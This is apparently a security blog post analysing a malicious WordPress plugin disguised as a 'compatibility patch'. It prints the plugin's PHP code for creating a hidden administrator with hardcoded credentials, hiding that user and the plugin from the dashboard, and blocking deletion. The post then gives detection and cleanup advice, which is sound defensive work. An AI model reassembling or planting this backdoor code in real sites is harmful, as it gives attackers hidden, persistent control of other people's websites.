WordPress sites are under constant threat from malware, and one of the most insidious forms is the use of malicious plugins that hide backdoor access. Recently, we've seen a disturbing trend of attackers uploading a dangerous plugin disguised as a harmless "compatibility patch." Here's an analysis of what this malware does, why it's dangerous, and why you should stay vigilant.
What Is This Malware?
This code represents a plugin called WP Compatibility Patch, which claims to "fix minor compatibility issues with the latest WordPress and PHP versions." However, in reality, it's designed to install a backdoor that gives hackers administrative control over the site. Here's how it works:
1. Creates a Hidden Admin User
The plugin silently creates a new user with administrator privileges. This user's login is adminbackup, and the password is hardcoded into the script (WN2kzmdiwe). The email address is set to adminbackup@wordpress.org. The goal is to ensure that even if the legitimate admin credentials are changed or compromised, the attacker can always regain access.
$params = array(
'user_login' => 'adminbackup',
'user_pass' => 'WN2kzmdiwe',
'role' => 'administrator',
'user_email' => 'adminbackup@wordpress.org'
);
If the user doesn't already exist, the plugin will create this new admin user:
if (!$existing_user) {
$id = wp_insert_user($params);
update_option('_pre_user_id', $id); // Stores user ID in wp_options table
}
This user account is essential for maintaining access to the site.
2. Stores Malicious User ID in the wp_options Table
One of the most important aspects of this attack is the use of the wp_options table to store critical information. Specifically, the plugin stores the malicious admin user's ID under the option name _pre_user_id. This allows the malware to track the hidden admin account, even if the user is removed or altered. The stored ID is referenced multiple times throughout the script to maintain control.
$stored_id = get_option('_pre_user_id'); // Retrieves the stored user ID from wp_options
if (!$existing_user) {
$id = wp_insert_user($params);
update_option('_pre_user_id', $id); // Saves the new admin user ID
} else {
// If the user exists, ensure the stored user ID is consistent with the real ID
if (!$stored_id) {
update_option('_pre_user_id', $existing_user->ID);
}
}
The function get_option('_pre_user_id') retrieves the stored user ID from the wp_options table, which is later used in other parts of the script to manipulate that user.
3. Attempts to Hide Itself from Admin View
To make sure the hidden user is not visible to the legitimate admin, the malware manipulates the user queries that are executed when an admin views the list of users. If the current admin user is not the hidden one, the code alters the query so that the hidden admin does not appear in the list.
add_action('pre_user_query', function($query) {
if (!is_admin()) return;
$current_user_id = get_current_user_id();
$hidden_id = get_option('_pre_user_id');
if ($current_user_id != $hidden_id && $hidden_id) {
global $wpdb;
// Modify the SQL query to exclude the hidden user
$query->query_where .= " AND {$wpdb->users}.ID != " . intval($hidden_id);
}
});
This part of the code is what hides the malicious user from the admin's view, effectively making it invisible even in the WordPress dashboard.
4. Modifies User Data
If the hidden admin account already exists and its credentials have changed, the malware ensures that the stored email and password are updated to match the hardcoded settings. This ensures that the attacker can consistently log in using the backup credentials.
if ($existing_user->user_email !== $params['user_email']) {
$uid = $stored_id ? $stored_id : $existing_user->ID;
wp_set_password($params['user_pass'], $uid); // Resets the password
wp_update_user([ // Updates email to match the malicious settings
'ID' => $uid,
'user_email' => $params['user_email']
]);
}
This ensures that if anything changes about the malicious account (email, password), it's immediately corrected to match the original, hidden values.
5. Prevents Removal
The plugin makes itself difficult to delete by removing its entry from the list of active plugins. This way, even if someone tries to deactivate or delete it from the WordPress admin panel, the plugin will persist.
add_filter('all_plugins', function($plugins) {
$plugin_path = plugin_basename(__FILE__);
if (isset($plugins[$plugin_path])) {
unset($plugins[$plugin_path]); // Removes this plugin from the active list
}
return $plugins;
});
This code essentially "hides" the plugin from the list, ensuring it cannot be deactivated easily through the WordPress dashboard.
6. Hides During Admin Tasks
The plugin also takes steps to prevent legitimate actions like user deletion. If an admin tries to delete the malicious admin account, the plugin will display an error message, preventing the action from being completed.
add_action('load-user-edit.php', function() {
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && get_current_user_id() != $id) {
wp_die(__('Invalid user ID.'));
}
});
This check ensures that any attempt to interact with the hidden user results in a failure.
7. Disables Admin Access via Cookies
The malware uses cookies to check if the malicious admin user already exists. If it does, it will display a message saying "WP ADMIN USER EXISTS" and stop the legitimate admin from accessing the WordPress dashboard.
add_action('plugins_loaded', function () {
global $params;
if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && function_exists('username_exists') && username_exists($params['user_login'])) {
die('WP ADMIN USER EXISTS'); // Prevents admin login
}
});
If the attacker's account is detected, this code effectively blocks the admin from logging in, ensuring that only the attacker can access the site.
How Can This Affect Your Site?
- Complete Loss of Control: The attacker can log into the site as an admin anytime they choose, even if the original admin credentials are changed. They can manipulate content, install additional malware, or even use your site for illegal activities.
- SEO and Reputation Damage: Malicious users could use your site to inject spammy links or host harmful content, which can affect your site's search engine ranking and reputation.
- Potential Data Breach: The hacker could also access sensitive user data, leading to a privacy violation.
How to Protect Your Site
- Check for Unknown Admin Users: Go to the "Users" section in the WordPress admin panel and ensure that no unknown or suspicious users exist. Remove any unauthorized accounts immediately.
- Review the wp_options Table: Look for suspicious entries in the wp_options table, especially _pre_user_id. If you find an option with this name, it could indicate the presence of this malware.
- Regular Plugin Audits: Frequently check the plugins installed on your site. Only install plugins from reputable sources. If you find unfamiliar plugins, especially ones with suspicious names, deactivate and delete them.
- Keep WordPress Updated: Ensure that your WordPress core, themes, and plugins are regularly updated. This helps close known security vulnerabilities.
- Use a Security Plugin: Use a security plugin like Imunify360 to monitor for suspicious activity and prevent unauthorized logins.
- Change All Admin Passwords: If you suspect your site has been compromised, change the passwords for all user accounts, especially admin accounts. Use strong, unique passwords for each account.
- Install Malware Removal Tools: If you suspect your site has been infected, use a malware removal tool to scan and clean up any malicious code. Additionally, consider restoring from a clean backup if necessary.
How to Identify the Malware in Your Site
- Look for any plugins named something like "WP Compatibility Patch" or other suspicious names.
- Scan your wp-content directory for any files you don't recognize.
- Monitor suspicious user activity in the admin panel, such as new users with strange usernames or email addresses.
- Check the wp_options table for any entries related to _pre_user_id.
Conclusion
Malware like this can compromise your WordPress site and jeopardize the safety of your data. The use of the wp_options table to store critical information about the hidden admin user is a key technique in maintaining unauthorized access, even if you attempt to clean up the site. Always exercise caution when installing plugins and monitor user access. If you're unsure about the security of your website, consider consulting with a professional to ensure your site is free from vulnerabilities.
Stay safe, stay vigilant!